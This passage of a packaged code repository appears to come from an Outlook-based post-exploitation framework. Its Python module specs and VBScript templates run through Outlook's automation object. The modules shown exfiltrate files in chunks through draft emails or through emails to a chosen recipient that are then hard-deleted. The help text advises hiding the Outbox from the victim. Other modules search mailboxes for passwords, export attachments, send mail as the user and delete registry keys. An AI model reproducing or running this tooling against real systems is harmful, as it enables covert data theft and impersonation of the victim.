vbCrLf\r\n\t\t\tread_other = read_other & \"Companies: \" & oItems(i).companies & vbCrLf\r\n\t\t\tread_other = read_other & \"Importance: \" & oItems(i).importance & vbCrLf\r\n\t\t\tread_other = read_other & \"Sensitivity: \" & oItems(i).sensitivity & vbCrLf\r\n\t\t\tread_other = read_other & \"Start: \" & oItems(i).start & vbCrLf\r\n\t\t\tread_other = read_other & \"End: \" & oItems(i).end & vbCrLf\r\n\t\t\tread_other = read_other & \"Links: \" & oItems(i).Links & vbCrLf\r\n\t\t\tread_other = read_other & \"LastModificationTime: \" & oItems(i).LastModificationTime & vbCrLf\r\n\t\t\tread_other = read_other & \"CreationTime: \" & oItems(i).CreationTime & vbCrLf\r\n\t\t\tread_other = read_other & vbCrLf\r\n\t\tend if\r\n\tnext\r\nEnd Function"
  },
  {
    "path": "functions/operation/outlook/savedraft_filemail.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makeint\nfrom lib.validators.generic import isint\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module allows you exfiltrate files by saving emails with attachments in the drafts folder in Outlook.\n        The idea is that you have access to the mailbox externally and can place the drafts emails with attachments and retrieve it that way without sending.\n\n        It will split the file into smaller pieces and store the draft as a separate email.\n        \n        You specify the file you want to exfiltrate using the sourcefile option. \n        You specify the size per file you want in the splitsize option.\n\n        Join the files back togheter with the command: copy /b c:\\\\temp\\\\filesbasename* exfile.zip\n\n        It uses Wscript.Shell\n        - ExpandEnvironmentStrings\n\n        It uses Scripting.FileSystemObject\n        - GetTempName\n        - FileExists\n        - DeleteFile\n        - CreateTextFile\n        - GetFile\n\n        It uses OutlookApplication\n        - CreateItem(0)\n        \"\"\"\n        self.entry = 'savedraft_filemail'\n        self.depends = []\n        self.options['sourcefile'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Target path of file to split and exfiltrate\",\n            \"handler\": quotedstring\n        }\n        self.options['splitsize'] = {\n            \"value\": \"8\",\n            \"required\": True,\n            \"description\": \"Size in MB you want file to split into - default is 8MB\",\n            \"handler\": quotedstring,\n            \"validator\": isint\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/outlook/savedraft_filemail.txt",
    "content": "Function savedraft_filemail()\r\n\ton error resume next\r\n\tSet sh = window.external.OutlookApplication.CreateObject(\"Wscript.Shell\")\r\n\r\n\tLF = Chr(10)\r\n\tSet oFSO = window.external.OutlookApplication.CreateObject(\"Scripting.FileSystemObject\")\r\n\tFullName = {{ sourcefile }} \r\n\tTargetDir = sh.ExpandEnvironmentStrings(\"%TEMP%\")\r\n\t\r\n\tName = oFSO.GetTempName\r\n\tSplitSize = {{ splitsize }}\r\n\tSize = 1024 * 1024 * SplitSize\r\n\r\n\tif oFSO.FileExists(FullName) then\r\n  \t\tOn Error Resume Next\r\n\t\tSet iFile = oFSO.GetFile(FullName)\r\n  \t\tSet iStream = iFile.OpenAsTextStream(1)\r\n  \t\t\r\n  \t\tdata = iStream.Read(iFile.Size)\r\n  \t\tiStream.close\r\n  \r\n  \t\tExt = 0\r\n  \t\toffset = 1\r\n\r\n  \t\tDo\r\n    \t\tExt = Right(\"00\" & Ext + 1, 3)\r\n    \t\tif ext > \"999\" then Error (\"Too many files - maximum is 999!\")\r\n\r\n    \t\tNewName = TargetDir & Name & Ext\r\n    \t\tSet oFile = oFSO.CreateTextFile(NewName, 2)\r\n\r\n\t\t\tIf Size > Len(data)+1 - offset Then Size = Len(data) + 1 - offset\r\n    \r\n    \t\toFile.Write Mid(Data, offset, Size)\r\n    \t\toffset = offset + Size\r\n    \t\toFile.Close\r\n\r\n\t\t\tSet objMail = window.external.OutlookApplication.CreateItem(0)\r\n\t\t\t\t\t\t\r\n\t\t\tobjMail.Subject = \"\"\r\n\t\t\tobjMail.Body = Ext\r\n\t\t\tobjMail.Attachments.Add(NewName)\r\n\t\t\tobjMail.Save\r\n\t\t\toFSO.DeleteFile(NewName)\r\n\r\n  \t\tLoop Until offset >= Len(data)\r\n\t\tsavedraft_filemail = \"Draft emails with attachments saved with filebasename: \" & Name\r\n\telse\r\n\t\tsavedraft_filemail = \"Error - SourceFile not found or some other strange error\"\r\n\tend if\r\nEnd Function"
  },
  {
    "path": "functions/operation/outlook/search_email.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makeint,makebool\nfrom lib.validators.generic import ischoice\nfrom lib.tab_completers.generic import tab_choice\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module allows you to search mail items. Adding multiple search options adds them in a AND clause. \n        Example: Option hasattachment set to True and Subject set to %yes% becomes\n        @SQL=\"\"urn:schemas:httpmail:hasattachment\"\"=1 AND \"\"urn:schemas:httpmail:subject\"\" like %yes%\n\n        The gist is to use %% in the different search options unless option is provided by Specula.\n        Example Search for all emails containing the word password in the subject field would be:\n        set subject %password%\n\n        Module also supports export of attachments to disk. \n        To do that set the save_attachments to True and set the export_path to the desired path on the host.\n        The function will recursivly create the folders you specify. \n\n        If search options are missing, please create a new issue on Offpipe so it can get added.\n        \n        The search does not care about upper or lower case.\n        \n        It uses OutlookApplication\n        - Session.Folders(1).folders.item(FoldersArray(0))\n        - Session.Folders(1).folders.item(FoldersArray(0)).items\n        \"\"\"\n        self.entry = 'search_email'\n        self.depends = ['./helperFunctions/dir_creator.txt']\n        self.options['items_to_read'] = {\n            \"value\": 10,\n            \"required\": True,\n            \"description\": \"The number of items to read from the top (newest first)\",\n            \"handler\": makeint\n        }\n        self.options['include_body'] = {\n            \"value\": \"True\",\n            \"required\": True,\n            \"description\": \"List out the body of the mail\",\n            \"handler\": makebool,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"False\", \"True\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"False\", \"True\"]}  \n        }\n        self.options['subject'] = {\n            \"value\": \"None\",\n            \"required\": True,\n            \"description\": \"Subject to search for - supports % for wildcard. Ex: %ic% will find lick and ict.\",\n            \"handler\": quotedstring,\n        }\n        self.options['fromemail'] = {\n            \"value\": \"None\",\n            \"required\": False,\n            \"description\": \"Mail from to search for - supports % for wildcard. Ex: %ang% will find Lang and Dang.\",\n            \"handler\": quotedstring,\n        }\n        self.options['body'] = {\n            \"value\": \"None\",\n            \"required\": False,\n            \"description\": \"Body words (Do not think dirty) to search for  - supports % for wildcard. Ex: %pass% will find password and passport\",\n            \"handler\": quotedstring,\n        }\n        self.options['importance'] = {\n            \"value\": \"None\",\n            \"required\": False,\n            \"description\": \"Importance of emails to search for. 0=Low, 1=Normal, 2=High\",\n            \"handler\": quotedstring,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"0\", \"1\", \"2\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"0\", \"1\", \"2\"]}  \n        }\n        self.options['hasattachment'] = {\n            \"value\": \"False\",\n            \"required\": False,\n            \"description\": \"Search for items that only has attachments\",\n            \"handler\": makebool,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"False\", \"True\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"False\", \"True\"]}  \n        }\n        self.options['folder_to_search'] = {\n            \"value\": \"inbox\",\n            \"required\": True,\n            \"description\": \"What folder to read emails from (Folder in freetext) - ex: inbox\\\\subfolder\",\n            \"handler\": quotedstring,\n        }\n        self.options['search_string'] = {\n            \"value\": \"None\",\n            \"required\": True,\n            \"description\": \"Search string composed by preprocessing (Auto generated)\",\n            \"handler\": quotedstring,\n            \"hidden\": True\n        }\n        self.options['save_attachments'] = {\n            \"value\": \"False\",\n            \"required\": False,\n            \"description\": \"Set this to True if you want to save the attachments to disk, also set the export_path.\",\n            \"handler\": makebool,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"False\", \"True\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"False\", \"True\"]}  \n        }\n        self.options['export_path'] = {\n            \"value\": \"None\",\n            \"required\": True,\n            \"description\": \"Export path for the attachments - Ex: C:\\exportpath\\subfolder\",\n            \"handler\": quotedstring,\n            \"hidden\": False\n        }        \n        super().__init__(templatepath)\n\n    def preprocess(self, agent):\n        if self.options['save_attachments']['value'] == \"True\":\n            if self.options['export_path']['value'] == \"None\":\n                raise RuntimeError(\"SAVE_ATTACHMENTS is set to TRUE, but EXPORT_PATH is NOT set - Set EXPORT_PATH - Jeez\")\n        search_start_string = \"@SQL=\"\n        hasattachment = \"\\\"\\\"urn:schemas:httpmail:hasattachment\\\"\\\"\"\n        subject = \"\\\"\\\"urn:schemas:httpmail:subject\\\"\\\"\"\n        fromemail = \"\\\"\\\"urn:schemas:httpmail:fromemail\\\"\\\"\"\n        body = \"\\\"\\\"urn:schemas:httpmail:textdescription\\\"\\\"\"\n        importance = \"\\\"\\\"urn:schemas:httpmail:importance\\\"\\\"\"\n        constructed_search = \"\"\n\n        if self.options['hasattachment']['value'] == \"True\":\n            constructed_search = hasattachment + \"=1\"\n        \n        if self.options['subject']['value'] != \"None\":\n            if constructed_search == \"\":\n                constructed_search = subject + \" like '\" + self.options['subject']['value'] + \"'\"\n            else:\n                constructed_search = constructed_search + \" AND \" + subject + \" like '\" + self.options['subject']['value'] + \"'\"\n\n        if self.options['fromemail']['value'] != \"None\":\n            if constructed_search == \"\":\n                constructed_search = fromemail + \" like '\" + self.options['fromemail']['value'] + \"'\"\n            else:\n                constructed_search = constructed_search + \" AND \" + fromemail + \" like '\" + self.options['fromemail']['value'] + \"'\"\n\n        if self.options['body']['value'] != \"None\":\n            if constructed_search == \"\":\n                constructed_search = body + \" like '\" + self.options['body']['value'] + \"'\"\n            else:\n                constructed_search = constructed_search + \" AND \" + body + \" like '\" + self.options['body']['value'] + \"'\"\n\n        if self.options['importance']['value'] != \"None\":\n            if constructed_search == \"\":\n                constructed_search = importance + \"=\" + self.options['importance']['value']\n            else:\n                constructed_search = constructed_search + \" AND \" + importance + \"=\" + self.options['importance']['value']\n\n        self.options['search_string']['value'] = search_start_string + constructed_search"
  },
  {
    "path": "functions/operation/outlook/search_email.txt",
    "content": "Function search_email()\r\n\ton error resume next\r\n\tinput = {{folder_to_search}}\r\n\titemcount = {{items_to_read}}\r\n\r\n\tFoldersArray = Split(input, \"\\\")\r\n\tSet TestFolder = window.external.OutlookApplication.Session.Folders(1).folders.item(FoldersArray(0)) \r\n\tif not IsNull(TestFolder) then\r\n\t\tfor i = 1 To UBound(FoldersArray, 1)\r\n\t\t\tSet SubFolders = TestFolder.Folders\r\n\t\t\tSet TestFolder = SubFolders.item(FoldersArray(i))\r\n\t\tnext\r\n\tend if\r\n\r\n\tIf TestFolder is Nothing Then\r\n\t\tSet TestFolder = Nothing\r\n\t\toutput = output & input & \" folder could not be found. Sure it exists?\" & vbCrLf\r\n\t\tsearch_email = output\r\n\t\tExit Function\r\n\tend if\r\n\r\n\tSet oItems = TestFolder.items\r\n\tSet oFilterItems = TestFolder.Items.Restrict({{search_string}})\r\n\r\n\toFilterItems.Sort \"[CreationTime]\", True\r\n\tif itemcount > oFilterItems.count then\r\n\t \titemcount = oFilterItems.count\r\n\tend if\r\n\r\n\tsearch_email = \"Getting searched items from - \" & input & vbCrLf\r\n\tsearch_email = search_email & \"Found \" & oFilterItems.count & \" items with the search: \"& {{search_string}} & vbCrLf\r\n\tsearch_email = search_email & \"Dumping latest \" & itemcount & \" from the found items\" & vbCrLf\r\n\tif {{save_attachments}} = True then\r\n\t\tsearch_email = search_email & \"Export of attachments enabled - Creating Export Folder\" & vbCrLf\r\n\t\tsearch_email = search_email & dir_creator({{export_path}}) & vbCrLf\r\n\telse\r\n\t\tsearch_email = search_email & vbCrLf\r\n\tend if\r\n\tFor i = 1 To itemcount\r\n\t \t if (oFilterItems(i).class = 43) then\r\n\t\t \tsearch_email = search_email & \"-= Mail object =-\" & vbCrLf\r\n\t\t \tsearch_email = search_email & \"Mail Subject: \" & oFilterItems(i).subject & vbCrLf\r\n\t\t \tsearch_email = search_email & \"Mail To: \" & oFilterItems(i).To & vbCrLf\r\n\t\t \tsearch_email = search_email & \"Mail Sender: \" & oFilterItems(i).sender & vbCrLf\r\n\t\t\tsearch_email = search_email & \"Importance: \" & oFilterItems(i).importance & vbCrLf\r\n\t\t \tsearch_email = search_email & \"Mail Attachments: \" & oFilterItems(i).attachments.count & vbCrLf\r\n\t\t \tif oFilterItems(i).attachments.count <> \"\" then\r\n\t\t \t\tfor ii = 1 To oFilterItems(i).Attachments.count\r\n\t\t \t\t\tsearch_email = search_email & \"Attachment name \" & ii & \": \" & oFilterItems(i).Attachments(ii) & vbCrLf\r\n\t\t\t\t\tif {{save_attachments}} = True then\r\n\t\t\t\t\t\toFilterItems(i).Attachments(ii).SaveAsFile({{export_path}} & \"\\\" & oFilterItems(i).Attachments(ii).FileName)\r\n\t\t\t\t\t\tsearch_email = search_email & \"Exported : \" & oFilterItems(i).Attachments(ii) & \" To path \" & {{export_path}} & vbCrLf\r\n\t\t\t\t\tend if\r\n\t\t \t\tnext\r\n\t\t\tend if\r\n\t\t \tsearch_email = search_email & \"Mail Unread: \" & oFilterItems(i).UnRead & vbCrLf\r\n\t\t \tif ({{include_body}}) then\r\n\t\t \t\tsearch_email = search_email & \"Mail Body format: \" & oFilterItems(i).bodyformat & vbCrLf\r\n\t\t \t\tsearch_email = search_email & \"Mail Body: \" & oFilterItems(i).body & vbCrLf & vbCrLf\r\n\t\t \telse\r\n\t\t \t\tsearch_email = search_email & vbCrLf\r\n\t\t \tend if\r\n\t\t end if\r\n\tnext\r\nEnd Function"
  },
  {
    "path": "functions/operation/outlook/send_mail.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makebool\nfrom lib.validators.generic import ischoice\nfrom lib.tab_completers.generic import tab_choice\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module allows you to send email as the user.\n\n        It uses OutlookApplication\n        - CreateItem(0)\n        \"\"\"\n        self.entry = 'send_mail'\n        self.depends = []\n        self.options['recipient'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Who to send the email to\",\n            \"handler\": quotedstring\n        }\n        self.options['subject'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Subject in the email\",\n            \"handler\": quotedstring\n        }\n        self.options['body'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Content inside the mail\",\n            \"handler\": quotedstring\n        }\n        self.options['delete_after_sent'] = {\n            \"value\": \"True\",\n            \"required\": True,\n            \"description\": \"Set to True if you want to delete mail after it is sent - Will not end up in deleted items\",\n            \"handler\": makebool,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"False\", \"True\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"False\", \"True\"]}            \n        }\n        super().__init__(templatepath)"
  },
  {
    "path": "functions/operation/outlook/send_mail.txt",
    "content": "Function send_mail()\r\n\ton error resume next\r\n\tSet objMail = window.external.OutlookApplication.CreateItem(0)\r\n\tobjMail.to = {{ recipient }}\r\n\tobjMail.Subject = {{ subject }}\r\n\tobjMail.Body = {{ body }}\r\n\t'objMail.Attachments.Add(NewName)\r\n\tobjMail.DeleteAfterSubmit = {{ delete_after_sent }}\r\n\tobjMail.Send\r\n\tsend_mail = \"Sent mail to:\" & {{ recipient }}\r\nEnd Function"
  },
  {
    "path": "functions/operation/outlook/sendfile_mail.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makeint\nfrom lib.validators.generic import isint\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module allows you exfiltrate files sending emails from the users Outlook.\n        It will split the file into smaller pieces and send each piece as a separate email.\n        The emails will be hard-deleted after sending so the user will never see the emails other than\n        the status while sending in the bottom of Outlook. \n\n        !!REMEMBER TO RUN change_outlookfolder first to hide the Outbox!!\n        !!REMEMBER TO RUN change_outloofolder after exfiltration is done to unhide the Outbox!!\n\n        You specify the file you want to exfiltrate using the sourcefile option. \n        You specify the size per file you want in the splitsize option.\n        You specify the receiver of the files in the recipient option.\n        Join the files back togheter with the command: copy /b c:\\\\temp\\\\filesbasename* exfile.zip\n\n        It uses Wscript.Shell\n        - ExpandEnvironmentStrings\n\n        It uses Scripting.FileSystemObject\n        - GetFile\n        - FileExists\n        - CreateTextFile\n        - DeleteFile\n\n        It uses OutlookApplication\n        - CreateItem(0)\n        \"\"\"\n        self.entry = 'sendfile_mail'\n        self.depends = []\n        self.options['sourcefile'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Target path of file to split and exfiltrate\",\n            \"handler\": quotedstring\n        }\n        self.options['splitsize'] = {\n            \"value\": \"8\",\n            \"required\": True,\n            \"description\": \"Size in MB you want file to split into - default is 8MB\",\n            \"handler\": quotedstring,\n            \"validator\": isint\n        }\n        self.options['recipient'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Email address you want to send the exfil files\",\n            \"handler\": quotedstring\n        }\n        self.options['send_interval_minutes'] = {\n            \"value\": \"8\",\n            \"required\": True,\n            \"description\": \"The interval between each time a file is sent - Default is 8 minutes\",\n            \"handler\": makeint,\n            \"validator\": isint\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/outlook/sendfile_mail.txt",
    "content": "Function sendfile_mail()\r\n\ton error resume next\r\n\tSet sh = window.external.OutlookApplication.CreateObject(\"Wscript.Shell\")\r\n\r\n\tLF = Chr(10)\r\n\tSet oFSO = window.external.OutlookApplication.CreateObject(\"Scripting.FileSystemObject\")\r\n\tFullName = {{ sourcefile }} \r\n\tTargetDir = sh.ExpandEnvironmentStrings(\"%TEMP%\")\r\n\t\r\n\tName = oFSO.GetTempName\r\n\tSplitSize = {{ splitsize }}\r\n\tSize = 1024 * 1024 * SplitSize\r\n\r\n\tif oFSO.FileExists(FullName) then\r\n  \t\tOn Error Resume Next\r\n\t\tSet iFile = oFSO.GetFile(FullName)\r\n  \t\tSet iStream = iFile.OpenAsTextStream(1)\r\n  \t\t\r\n  \t\tdata = iStream.Read(iFile.Size)\r\n  \t\tiStream.close\r\n  \r\n  \t\tExt = 0\r\n  \t\toffset = 1\r\n\r\n  \t\tDo\r\n    \t\tExt = Right(\"00\" & Ext + 1, 3)\r\n    \t\tif ext > \"999\" then Error (\"Too many files - maximum is 999!\")\r\n\r\n    \t\tNewName = TargetDir & Name & Ext\r\n    \t\tSet oFile = oFSO.CreateTextFile(NewName, 2)\r\n\r\n\t\t\tIf Size > Len(data)+1 - offset Then Size = Len(data) + 1 - offset\r\n    \r\n    \t\toFile.Write Mid(Data, offset, Size)\r\n    \t\toffset = offset + Size\r\n    \t\toFile.Close\r\n\r\n\t\t\tSet objMail = window.external.OutlookApplication.CreateItem(0)\r\n\t\t\tobjMail.to = {{ recipient }}\r\n\t\t\t\r\n\t\t\tobjMail.Subject = \"Part\" & Ext\r\n\t\t\tobjMail.Body = Ext\r\n\t\t\tobjMail.Attachments.Add(NewName)\r\n\t\t\tobjMail.DeleteAfterSubmit = True\r\n\t\t\tSendDate = Now()\r\n\t\t\tSendDate = DateAdd(\"n\",{{ send_interval_minutes }},SendDate)\r\n\t\t\tobjMail.DeferredDeliveryTime  = SendDate 'Not in use. Queues up in Outbox - Not very opsec\r\n\t\t\tobjMail.Send\r\n\t\t\toFSO.DeleteFile(NewName)\r\n\r\n  \t\tLoop Until offset >= Len(data)\r\n\t\tsendfile_mail = \"Sent \" & Ext & \" mails to \" & {{ recipient }} & \" with files as basename: \" & Name\r\n\telse\r\n\t\tsendfile_mail = \"Error - SourceFile not found or some other strange error\"\r\n\tend if\r\nEnd Function"
  },
  {
    "path": "functions/operation/outlook/stop_outlook.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This might come as a big shock, but this function stops Outlook. \n        I know, it is mindblowing.\n\n        It uses OutlookApplication\n        - Quit()\n        \"\"\"\n        self.entry = 'Stop_Outlook'\n        self.depends = []\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/outlook/stop_outlook.txt",
    "content": "Function Stop_Outlook()\r\n\tOn Error Resume Next\r\n\twindow.external.OutlookApplication.Quit()\r\n\tStop_Outlook = \"Stop Outlook sent\"\r\nEnd Function"
  },
  {
    "path": "functions/operation/registry/delkeyhkcuregistry.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module deletes registry key in the HKCU hive specified in the PathToKey option recursivly. \n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).DeleteKey\n\n        DeleteKey\n        \"\"\"\n        self.entry = 'DelKey_HKCU_Registry'\n        self.depends = ['./helperFunctions/Delregkey_hkcu.txt']\n        self.options['PathToKey'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Path to the key you would like to delete. Example: Software\\\\EvilCorp\\\\subkey\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/registry/delkeyhkcuregistry.txt",
    "content": "Function DelKey_HKCU_Registry()\r\n    On Error Resume Next\r\n\tDelKey_HKCU_Registry = DelRegKey_HKCU({{PathToKey}})\r\nEnd Function\r\n"
  },
  {
    "path": "functions/operation/registry/delvaluehkcuregistry.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module deletes registry key in the HKCU hive specified in the PathToKey option recursivly. \n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).DeleteValue\n        \"\"\"\n        self.entry = 'DelValue_HKCU_Registry'\n        self.depends = ['./helperFunctions/Delregvalue_hkcu.txt']\n        self.options['PathToKey'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Path to the key you were the value is located. Example: Software\\\\EvilCorp\\\\subkey\",\n            \"handler\": quotedstring\n        }\n        self.options['Valuename'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Valuename to the value you would like to delete. Example: URL\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/registry/delvaluehkcuregistry.txt",
    "content": "Function DelValue_HKCU_Registry()\r\n    On Error Resume Next\r\n    DelValue_HKCU_Registry = DelRegValue_HKCU({{PathToKey}}, {{Valuename}})\r\nEnd Function\r\n"
  },
  {
    "path": "functions/operation/registry/getallkeysregistry.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makeint\nfrom lib.tab_completers.generic import tab_choice\nfrom lib.validators.generic import ischoice\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module gets all the keys from the registry in the hive and path specified with the options. It is not recursive.\n        !!An important thing to remember is that Outlook is in most cases running as a 32 bit application, meaning that\n        when you query HKLM\\Software you are basically querying HKLM\\Software\\Wow6432Node since that is how the \n        32 64 bit redirection works!! Specify Arch 64 to avoid the redirection\n\n        It uses WbemScripting.SWbemNamedValueSet\n        - Add.__ProviderArchitecture\n\n        It uses WbemScripting.SWbemLocator\n        ConnectServer(root\\cimv2)\n        ConnectServer(root\\cimv2).EnumKey\n        \"\"\"\n        self.entry = 'GetAllKeysRegistry'\n        self.depends = ['./helperFunctions/Getallregkeys.txt']\n        self.options['Root'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Root registry to query (HKCU, HKLM, HKCR, HKU, HKCC)\",\n            \"handler\": quotedstring,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"HKCU\", \"HKLM\", \"HKCR\", \"HKU\", \"HKCC\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"HKCU\", \"HKLM\", \"HKCR\", \"HKU\", \"HKCC\"]}\n        }\n        self.options['PathToKey'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Path to the key - Example: Software\\\\Microsoft\\\\Active Setup\",\n            \"handler\": quotedstring\n        }\n        self.options['Arch'] = {\n            \"value\": 64,\n            \"required\": True,\n            \"description\": \"Architecture to query. Outlook is often 32 bit process and gets redirected to WOW6432Node, change to 64 to alter behaviour\",\n            \"handler\": makeint,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"32\", \"64\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"32\", \"64\"]}\n        }\n        self.options['RootInteger'] = {\n            \"value\": None,\n            \"required\": False,\n            \"description\": \"Root registry in INT format\",\n            \"handler\": makeint,\n            \"hidden\": True\n        }\n        self.options['WMIOperation'] = {\n            \"value\": \"STDREGPROV\",\n            \"required\": True,\n            \"description\": \"Type of WMI Query method (STDREGPROV)\",\n            \"handler\": quotedstring,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"STDREGPROV\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"STDREGPROV\"]}\n        }\n        super().__init__(templatepath)\n\n    def preprocess(self, agent):\n        #Convert input to correct Integer needed for vbscript\n        # https://docs.microsoft.com/en-us/previous-versions/windows/desktop/regprov/enumvalues-method-in-class-stdregprov\n        if self.options['Root']['value'] == \"HKCR\":\n            if self.options['WMIOperation']['value'] == \"STDREGPROV\":\n                self.options['RootInteger']['value'] = \"2147483648\"\n        if self.options['Root']['value'] == \"HKCU\":\n            if self.options['WMIOperation']['value'] == \"STDREGPROV\":\n                self.options['RootInteger']['value'] = \"2147483649\"\n        if self.options['Root']['value'] == \"HKLM\":\n            if self.options['WMIOperation']['value'] == \"STDREGPROV\":\n                self.options['RootInteger']['value'] = \"2147483650\"            \n        if self.options['Root']['value'] == \"HKU\":\n            if self.options['WMIOperation']['value'] == \"STDREGPROV\":\n                self.options['RootInteger']['value'] = \"2147483651\"          \n        if self.options['Root']['value'] == \"HKCC\":\n            if self.options['WMIOperation']['value'] == \"STDREGPROV\":\n                self.options['RootInteger']['value'] = \"2147483653\"      "
  },
  {
    "path": "functions/operation/registry/getallkeysregistry.txt",
    "content": "Function GetAllKeysRegistry()\r\n\tOn Error Resume Next\r\n\tGetAllKeysRegistry = GetAllRegKeys({{Root}}, {{PathToKey}}, {{Arch}}, {{RootInteger}})\r\nEnd Function\r\n"
  },
  {
    "path": "functions/operation/registry/getallvaluesregistry.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makeint\nfrom lib.tab_completers.generic import tab_choice\nfrom lib.validators.generic import ischoice\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module gets values from the registry in the hive and path specified with the options. It is not recursive.\n        !!An important thing to remember is that Outlook is in most cases running as a 32 bit application, meaning that\n        when you query HKLM\\Software you are basically querying HKLM\\Software\\Wow6432Node since that is how the \n        32 64 bit redirection works!! Specify Arch 64 to avoid the redirection\n\n        It uses WbemScripting.SWbemNamedValueSet\n        - Add.__ProviderArchitecture\n\n        It uses WbemScripting.SWbemLocator\n        ConnectServer(root\\cimv2)\n        ConnectServer(root\\cimv2).EnumValues\n        ConnectServer(root\\cimv2).GetStringValue\n        ConnectServer(root\\cimv2).GetExpandedStringValue\n        ConnectServer(root\\cimv2).GetBinaryValue\n        ConnectServer(root\\cimv2).GetDWORDValue\n        ConnectServer(root\\cimv2).GetMultiStringValue\n        ConnectServer(root\\cimv2).GetQWORDValue\n        \"\"\"\n        self.entry = 'GetAllValuesRegistry'\n        self.depends = ['./helperFunctions/Getallregvalues.txt']\n        self.options['Root'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Root registry to query (HKCU, HKLM, HKCR, HKU, HKCC)\",\n            \"handler\": quotedstring,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"HKCU\", \"HKLM\", \"HKCR\", \"HKU\", \"HKCC\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"HKCU\", \"HKLM\", \"HKCR\", \"HKU\", \"HKCC\"]}\n        }\n        self.options['PathToKey'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Path to the key - Example: Software\\\\Microsoft\\\\Active Setup\",\n            \"handler\": quotedstring\n        }\n        self.options['Arch'] = {\n            \"value\": 64,\n            \"required\": True,\n            \"description\": \"Architecture to query. Outlook is often 32 bit process and gets redirected to WOW6432Node, change to 64 to alter behaviour\",\n            \"handler\": makeint,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"32\", \"64\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"32\", \"64\"]}\n        }\n        self.options['RootInteger'] = {\n            \"value\": None,\n            \"required\": False,\n            \"description\": \"Root registry in INT format\",\n            \"handler\": makeint,\n            \"hidden\": True\n        }\n        self.options['WMIOperation'] = {\n            \"value\": \"STDREGPROV\",\n            \"required\": True,\n            \"description\": \"Type of WMI Query method (STDREGPROV)\",\n            